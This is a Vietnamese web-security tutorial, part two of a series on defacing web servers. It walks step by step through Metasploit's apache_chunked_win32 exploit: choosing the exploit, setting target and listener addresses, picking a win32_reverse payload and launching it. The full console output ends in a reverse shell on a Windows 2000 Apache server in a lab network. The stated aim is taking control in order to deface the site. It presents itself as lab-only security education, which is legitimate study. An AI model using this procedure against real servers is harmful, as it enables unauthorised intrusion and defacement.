Nội dung Các hoạt động phá hoại Web Server (Phần 2)
Trong phần hai của loạt bài này chúng ta sẽ
xem xét kỹ hơn cách thức deface (tức phá hoại hay thay đổi lại giao diện) một
trang Web hoàn chỉnh. Công cụ được sử dụng ở đây là chương trình bảo mật nguồn
mở khá nổi tiếng Metasploit Framework. Phần hướng dẫn chi tiết giúp bạn hiểu và
tạo lại chương trình dễ dàng.
Tóm tắt phần một
Chúng ta sẽ tóm lược vắn tắt nội dung đã nêu ở phần một. Ở bài trước chúng ta đã
nói đến cách thức một Web server có thể bị deface như thế nào và giới thiệu công
cụ sử dụng cho hoạt động thử nghiệm để tự deface là gì. Trước khi tiếp tục xin
được nhắc lại là các lỗ hổng tái tạo, hay trường hợp này là hoạt động deface Web
server hoàn toàn hợp pháp trong chương trình học tập về bảo mật máy tính. Tuy
nhiên bạn phải làm thử nghiệm ở môi trường thí nghiệm như đã nêu trong phần một.
Mặc dù biết có nhiều điểm hạn chế, nhưng ít nhất cũng thoả mãn được phần nào trí
tò mò của bạn. Chúng ta cũng sẽ khai thác Metasploit để hiểu sâu hơn về các hoạt
động deface Web server.
Từ lý thuyết đến thực tế
Chúng ta sẽ tiếp tục với công cụ Metasploit và cách sử dụng nó. Trước hết là
tăng mức hệ thống truy cập vào Web server Apache. Khi bạn thấy lớp ngoài đảo
ngược, bạn có thể upload file index.html đã được thay đổi. Nó sẽ trở thành trang
mặc định được đưa lên server, chẳng hạn như bản dữ liệu log của công ty bạn.
Phần bên dưới cho biết điều gì thu được sau câu lệnh "show exploits" (đưa ra các
lỗ hổng) khi bạn nhập nó ở màn hình lệnh prompt msf trong Metasploit. Danh sách
các lỗi hổng có thể khai thác được đưa ra:
msf > show exploits
Metasploit Framework Loaded
Exploits
====================================
Credits
Metasploit
Framework Credits
afp_loginext
AppleFileServer LoginExt PathName
Buffer Overflow
apache_chunked_win32
Apache Win32 Chunked Encoding
blackice_pam_icq
ISS PAM.dll ICQ Parser Buffer
Overflow
distcc_exec
DistCC Daemon Command Execution
exchange2000_xexch50
Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked
Frontpage fp30reg.dll Chunked
Encoding
ia_webmail
IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post
IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow
IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll
IIS 5.0 WebDAV ntdll.dll Overflow
Bạn có thể thấy một số lỗ hổng có thể khai
thác bên trong framework đã đưa ra. Danh sách trên đã được cắt bớt. Nếu bạn nhập
cùng một lệnh như vậy, bạn sẽ có được danh sách đầy đủ. Chúng ta sẽ thử nghiệm
với lỗ hổng thứ hai từ trên xuống: apache_chunked_win32.
Bây giờ nhập lệnh để chọn lỗ hổng chúng ta sẽ dùng như sau:
msf > use apache_chunked_win32
msf apache_chunked_win32 >
Như bạn thấy ở trên, màn hình lệnh prompt xuất
hiện trở lại, báo lại cho bạn biết lỗ hổng đã được chọn để dùng:
apache_chunked_win32. Tiếp theo là lệnh kiểm tra các tuỳ chọn khác nhau gắn
kèm với lỗ hổng dưới framework này.
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit
Name
Default
Description
--------
------
-------
------------------
optional
SSL
Sử dụng SSL
required
RHOST
Địa chỉ đích
required
RPORT
80
Cổng đích
Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >
Màn hình lệnh xuất hiện trở lại với danh sách
các tuỳ chọn chúng ta cần điền đầy đủ như địa chỉ IP host từ xa. Chú ý là bạn
cũng cần phải nhập địa chỉ IP host cục bộ, ví dụ như địa chỉ các máy tấn công
của bạn trong môi trường thử nghiệm. Bạn cần nhập lệnh thiết lập các tuỳ chọn đó
như sau:
msf apache_chunked_win32 > set RHOST
192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
Chúng ta sẽ xem tuỳ chọn LHOST ở phần sau
trong bài này.
Bạn thấy gì từ các tuỳ chọn khai thác lỗ hổng?
Bây giờ chúng ta sẽ thiết lập giá trị cho trường này. Sau đó tiếp tục thực hiện
dần dần với các tuỳ chọn khác nhau khác trước khi sử dụng lỗ hổng để tăng mức
truy cập hệ thống trên Web server. Ở đây bạn sẽ dùng lệnh sau để xem chúng ta có
thể dùng được loại payload nào:
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind
Windows Bind
Shell
win32_bind_dllinject
Windows Bind
DLL Inject
win32_bind_stg
Windows Staged
Bind Shell
win32_bind_stg_upexec
Windows Staged
Bind Upload/Execute
win32_bind_vncinject
Windows Bind
VNC Server DLL Inject
win32_reverse
Windows
Reverse Shell
win32_reverse_dllinject
Windows
Reverse DLL Inject
win32_reverse_stg
Windows Staged
Reverse Shell
win32_reverse_stg_ie
Windows
Reverse InlineEgg Stager
win32_reverse_stg_upexec
Windows Staged
Reverse Upload/Execute
win32_reverse_vncinject
Windows Reverse VNC Server DLL Inject
msf apache_chunked_win32 >
Lựa chọn trên cho phép sử dụng bất kỳ phần nào
bạn chọn. Có nghĩa là bạn sẽ có thể thực thi bất kỳ playload nào đã chọn bằng
CPU của máy nạn nhân khi khai thác lỗ hổng bạn đang nhắm đến. Có thêm lựa chọn
mở rộng này là một trong nhiều cách dùng tuyệt vời của công cụ bảo mật.
Có rất nhiều lựa chọn dành cho bạn. Ở trường hợp của chúng ta là win32_reverse
payload vì nó giúp tạo ra được lớp vỏ bên ngoài, cho phép sử dụng được nhiều lần
khai thác để tấn công. Để rõ hơn bạn có thể copy lại file index.html và điều
chỉnh nó bằng cách thay đổi giao diện. Xây dựng được lớp bên ngoài cho phép
chúng ta thực hiện điều đó. Còn Framework bạn có tuỳ chọn payload thì sao? Hãy
xem cú pháp bên dưới:
msf apache_chunked_win32 > set PAYLOAD
win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
Bây giờ chúng ta đã thiết lập thông số cho
payload và quay trở lại màn hình lệnh. Tiếp theo là thiết lập địa chỉ IP để nhận
lớp ngoài đảo ngược. Thiết lập cho host nhận cũng tương tự như một vài bước biết
lập cho RHOST trước đây để đặc tả máy sẽ tấn công. Thực hiện như sau:
msf apache_chunked_win32(win32_reverse) >
set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
Bây giờ chúng ta đã thực sự sẵn sàng khởi động
lỗ hổng. Cú pháp như sau:
msf apache_chunked_win32(win32_reverse) >
exploit 192.168.1.101
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of
348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of
348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of
352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of
352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of
356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of
356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of
360...
[*] Got connection from 192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
Từ trên bạn có thể thấy màn hình
lệnh trong thư mục Apache. Có một tuỳ chọn khác chúng ta có thể sử dụng để đặc
tả hệ điều hành đang dùng trong trường hợp này là "target". Ngay cả khi bạn
không mô tả tường minh, nó cũng sẽ cố gắng "thu xếp" để thực hiện những việc nó
có thể làm. Để dùng tuỳ chọn target (đích), thực hiện như sau:
msf
apache_chunked_win32(win32_reverse) > show targets
Danh sách các đích (target) sẽ được
đưa ra. Tất cả việc bạn cần làm là chọn thứ bạn muốn và thiết lập nó như đã làm
ở trên:
msf
apache_chunked_win32(win32_reverse) > set TARGET 1
Câu lệnh trên nhập đích thứ nhất nếu
server bộ nhớ là W2K Pro,
Công việc đến đây có thể nói là đã hoàn thành. Web server Apache bây giờ đã bị
bạn xâm hại và có phần bên ngoài đảo ngược. Bạn hoàn toàn có quyền kiểm soát và
thao tác trên nó. Chúng ta kết thúc phần hai ở đây và sẽ tiếp tục trở lại phần
ba, phần cuối cùng để thực sự phá hoại một trang Web và suy ngẫm về hậu quả phía
sau của các cuộc tấn công như thế nào.
Theo Security Source Các hoạt động phá hoại Web Server (Phần 2): ThongTinBaoMat.ComCác hoạt động phá hoại Web Server (Phần 2) Tags Bảo vệ | Wireless | bảo mật | web | thongtin | Security | virus | hack Những bài viết tương tự Các hoạt động phá hoại Web Server (Phần 2): Làm gì với CD, DVD hoặc USB bị nhiễm virus | Giám sát hoạt động của trẻ nhỏ qua Wireless Router | Phần mềm miễn phí bảo vệ máy tính và sự riêng tư | 4 phần mềm diệt virus miễn phí tốt nhất cho Windows | Giải pháp bảo mật và phân tích môi trường NetBotz thế hệ mới | Các hoạt động phá hoại Web Server | Bảo mật ứng dụng Web (Secure Web Application) | Di chuyển DHCP từ 2000 Server/Server 2003 sang Server 2008 | 5 mẹo giúp bảo vệ dữ liệu khỏi bị xâm phạm | Tìm hiểu các phím tắt của Facebook |